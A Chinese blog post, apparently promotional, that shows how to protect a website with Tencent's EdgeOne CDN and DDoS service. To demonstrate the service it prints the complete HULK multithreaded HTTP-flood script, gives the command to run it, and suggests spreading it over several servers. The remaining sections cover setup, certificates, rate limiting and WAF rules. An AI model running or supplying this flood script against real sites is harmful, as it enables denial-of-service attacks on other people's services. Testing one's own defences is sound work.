前言

众所周知,网站如果没有安全防护,极易遭受恶意攻击,导致运行受阻甚至瘫痪。为保障网站的安全稳定运行,必须采取诸如CDN加速与DDoS防护等措施,为用户提供安全、可靠的服务。

本文将基于腾讯云边缘安全加速平台,介绍网站接入CDN和DDoS防护的重要性、实施方法以及最佳实践,为大家提供有价值的参考。

边缘安全加速平台介绍

边缘安全加速平台全称 Tencent cloud EdgeOne ,简称 EO(下文简称为 EdgeOne)。

一张图看懂EdgeOne是什么。

请在此添加图片描述

如图所示,当用户向源站发起请求时,EdgeOne会依托腾讯边缘计算节点,为网站提供全方位的边界保护,包括DDOS防护、CC防护、WEB安全防护以及BOT安全防护等。不仅如此,还为用户提供网站加速服务,通过综合的安全防护与加速功能,为用户的网站提供强有力的支持与保障。

简单来讲,EdgeOne 就是CDN和高仿服务器的结合体

更详细的介绍可以移步至官网

模拟网站被攻击

在网站接入EdgeOne前,先模拟一下被攻击,看一看服务器被攻击的状态。

攻击脚本

这里准备一个攻击脚本。这个脚本是一个简单的HTTP请求攻击脚本。它使用多线程来发送大量的HTTP请求到指定的URL,以此方式尝试对目标服务器造成拒绝服务(DoS)攻击。

仅用于学习和教育目的,不应该用于任何非法或不道德的活动。

import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
 global request_counter
 request_counter+=1

def set_flag(val):
 global flag
 flag=val

def set_safe():
 global safe
 safe=1
 
# generates a user agent array
def useragent_list():
 global headers_useragents
 headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
 headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
 headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
 headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
 headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
 headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
 headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
 return(headers_useragents)

# generates a referer array
def referer_list():
 global headers_referers
 headers_referers.append('http://www.google.com/?q=')
 headers_referers.append('http://www.usatoday.com/search/results?q=')
 headers_referers.append('http://engadget.search.aol.com/search?q=')
 headers_referers.append('http://' + host + '/')
 return(headers_referers)
 
#builds random ascii string
def buildblock(size):
 out_str = ''
 for i in range(0, size):
  a = random.randint(65, 90)
  out_str += chr(a)
 return(out_str)

def usage():
 print '---------------------------------------------------'
 print 'USAGE: python hulk.py <url>'
 print 'you can add "safe" after url, to autoshut after dos'
 print '---------------------------------------------------'

 
#http request
def httpcall(url):
 useragent_list()
 referer_list()
 code=0
 if url.count("?")>0:
  param_joiner="&"
 else:
  param_joiner="?"
 request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
 request.add_header('User-Agent', random.choice(headers_useragents))
 request.add_header('Cache-Control', 'no-cache')
 request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
 request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
 request.add_header('Keep-Alive', random.randint(110,120))
 request.add_header('Connection', 'keep-alive')
 request.add_header('Host',host)
 try:
   urllib2.urlopen(request)
 except urllib2.HTTPError, e:
   #print e.code
   set_flag(1)
   print 'Response Code 500'
   code=500
 except urllib2.URLError, e:
   #print e.reason
   sys.exit()
 else:
   inc_counter()
   urllib2.urlopen(request)
 return(code)  

 
#http caller thread 
class HTTPThread(threading.Thread):
 def run(self):
  try:
   while flag<2:
    code=httpcall(url)
    if (code==500) & (safe==1):
     set_flag(2)
  except Exception, ex:
   pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
 def run(self):
  previous=request_counter
  while flag==0:
   if (previous+100<request_counter) & (previous<>request_counter):
    print "%d Requests Sent" % (request_counter)
    previous=request_counter
  if flag==2:
   print "\n-- HULK Attack Finished --"

#execute 
if len(sys.argv) < 2:
 usage()
 sys.exit()
else:
 if sys.argv[1]=="help":
  usage()
  sys.exit()
 else:
  print "-- HULK Attack Started --"
  if len(sys.argv)== 3:
   if sys.argv[2]=="safe":
    set_safe()
  url = sys.argv[1]
  if url.count("/")==2:
   url = url + "/"
  m = re.search('http\://([^/]*)/?.*', url)
  host = m.group(1)
  for i in range(500):
   t = HTTPThread()
   t.start()
  t = MonitorThread()
  t.start()

攻击脚本执行

在脚本目录执行 python hulk.py http://www.xxx.xx对该服务器进行攻击。(有条件的可以分发到多台服务器进行DDos测试)

可以看到,在没有任何防护的情况下,第二批请求就可以让网站崩溃了,直接返回500。

此时我的服务器监控是这样的。

网站快速接入 EdgeOne

接下来,将自己的网站接入EdgeOne,达到安全加速的效果。下面是接入步骤。

前提条件(注意事项)

在接入EdgeOne之前,有两个注意事项:

  1. 域名要先备案,否则无法接入。如果没有备案的前往域名备案处,备案时长大概10~15天。
  2. 如果是阿里云的域名,需要在阿里云域名解析处将DNS改为腾讯云的。然后再来云解析DNS添加EdgeOne的DNS解析记录。

一定要注意!!!

添加站点

在进入EdgeOne控制台后添加一个站点,如下图。

输入站点名称,填写域名即可。

选择EdgeOne套餐,这里已经购买,直接选择。

接下来选择加速区和接入模式。

这里加速区选择【全球可用区】,接入模式选择 CNAME 接入。

最后将DNS解析添加至域名解析处,验证完成即可。

添加加速域名

站点添加完成后就可以添加速域名,这一步操作完成后,这个域名就会成功接入EdgeOne,你的网站就会受到EdgeOne的保护了。下面是完整的操作步骤:

1.进入站点添加域名。

2.配置域名

这里的配置项简单说明一下:

加速域名:填写域名对应的主机记录值即可。例如:当前需添加的加速网站为 www.example.com,这里填写为 www 即可。

源站配置:配置你的服务器IP。

IPv6 访问:根据自己的需求配置。

回源协议:根据自己的需求配置。

回源端口:根据自己的需求配置。

配置:在这一步会根据你选择的配追添加【规则引擎】,也可跳过该步骤,后续自行添加。

最后,在云解析DNS按照下图中配置添加解析记录。

使用免费证书部署域名

边缘安全加速平台 EO 使用免费证书部署至 EdgeOne 域名-域名服务-文档中心-腾讯云

免费HTTPS证书是如今广大开发者和个人站长所关注的焦点之一。在当今互联网环境下,HTTPS访问已经成为现代网站的必备功能之一。如果网站没有启用HTTPS,不仅会影响网站安全,还会降低搜索引擎排名。因此,在创建个人博客时,需要为自己的域名申请SSL证书,以实现HTTPS访问。虽然申请SSL证书的方式有很多种,但是传统的申请和部署方式往往比较繁琐,而且免费证书通常有时效性限制,需要定期手动更新

如果您当前网站还未购买 HTTPS 证书,且加速域名不包含泛域名,可申请使用免费证书来测试支持 HTTPS 访问。

说明:

  1. 免费证书由 Let’s Encrypt - 免费的SSL/TLS证书 机构颁发,如果您的站点当前为 NS 接入的方式,可申请泛域名证书,如果当前为 CNAME 接入,EdgeOne 只支持申请单域名证书,不支持申请泛域名证书。
  2. 证书有效期为3个月,到期前平台将自动为您申请续期,无需您手动更新。如果您当前是 NS 接入,切换至 CNAME 接入后,申请的泛域名证书到期后将无法自动续期。
  3. 免费证书不支持下载。
  4. 如果域名是 CNAME 接入,您还需要完成 CNAME 配置并等待 CNAME 状态生效,才可以为该域名申请免费 SSL 证书。

EdgeOne的免费HTTPS证书功能极大简化了这一流程,提供一键申请和自动续期服务,**无需手动更新,全程自动化管理。**快速开启HTTPS访问。申请免费证书只需简单几步操作即可完成,以下是申请和部署免费证书至EdgeOne的操作步骤:

  1. 登录 登录 - 腾讯云,通过站点列表,选择需配置的站点,进入站点管理二级菜单。
  2. 在左侧导航栏中,单击域名服务 > 域名管理。
  3. 在域名管理页面,选择待配置证书的域名,在 HTTPS 列内单击编辑,弹出 HTTPS 证书配置。

  1. 选择申请免费证书后,单击**确定,**即可完成免费证书的申请和安装。
  2. 部署完成后,您可以在域名管理列表页中,将鼠标悬停于已配置图标上,可展示当前已部署的证书信息。

EdgeOne 安全防护

现在,将网站接入EdgeOne后,看一下能否为我们抵挡住恶意攻击。

CC攻击防护

再次执行 python hulk.py http://www.xxx.xx 对服务器进行攻击。此时,会看到EdgeOne控制台上会显示访问数据。

这里以CC防护为例进行设置。EdgeOne默认配置比较宽松,因为我的服务器配置较低,所以还需要进行一些配置才能达到防护效果。

这里我将其设置为紧急。当客户端请求超过40次/10秒,就可以紧急防护。

此时,再次执行脚本,就会发现网站已经起到防护效果。如下图

DDos攻击防护

有条件的用户可以将攻击脚本分发到多台服务器进行DDos测试。

自定义防护规则

EdgeOne还支持自定义防护配置,比如配置访问 IP 黑白名单、Referer 黑名单、UA 黑白名单或地域限制等。

我们可以根据自己的需求进行配置,简单明了。例如,我们可以把刚才防护的客户端IP进行封禁。如下图

当我再次执行脚本时,就会返回对应的错误码了。

还有各种自定义配置详细说明,可以移步边缘安全加速平台 EO > 安全防护 > Web 防护 > 自定义规则。

OWASP防护

除此之外,EdgeOne还默认提供包含 OWASP top10 在内的托管规则。能够有效防御如 SQL 注入、XSS 攻击、webshell 上传、命令注入等攻击。

例如,我现在在浏览器地址中输入JS脚本进行XSS攻击,可以看到EdgeOne直接帮我们进行了拦截。

控制台中也可以看到相关拦截记录。

EdgeOne 体验感受

经过本次实践,EdgeOne给我留下了以下几点深刻的感受:

  1. EdgeOne实现的安全防护与加速一体化功能,明显提升了产品的性能和用户接受度,企业无需再分别采购CDN、DDoS等独立服务,大大简化了企业的选择与部署流程。
  2. 在配置方面,EdgeOne提供了全站一键配置,用户只需通过简单的操作即可实现全局配置,不用进行繁琐的手动设置,大大简化了配置流程,对于用户来说,提高了产品的易用性。
  3. 特别关注了EdgeOne的计费模式,发现EdgeOne在计费方面有一定的优势,如“干净流量”计费模式。也就是说,以后网站的安全防护、加速成本会大大的降低。

总结

在数字化时代,网络安全已经成为一项至关重要的任务,尤其是在保障网站安全稳定运行方面。依托EdgeOne的加速与安全防护一体化解决方案,我们能够迅速搭建起一套全面且高效的网站安全防护体系。

两三百元钱就可以体验到像CC/WAF/速率限制这种高级安全能力,相当可以了,还可以证书自动续期部署,EdgeOne这个产品很良心了,感兴趣的朋友可以点击链接了解详情:https://cloud.tencent.com/act/pro/edgeone_techoday_promotion?from=22008

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐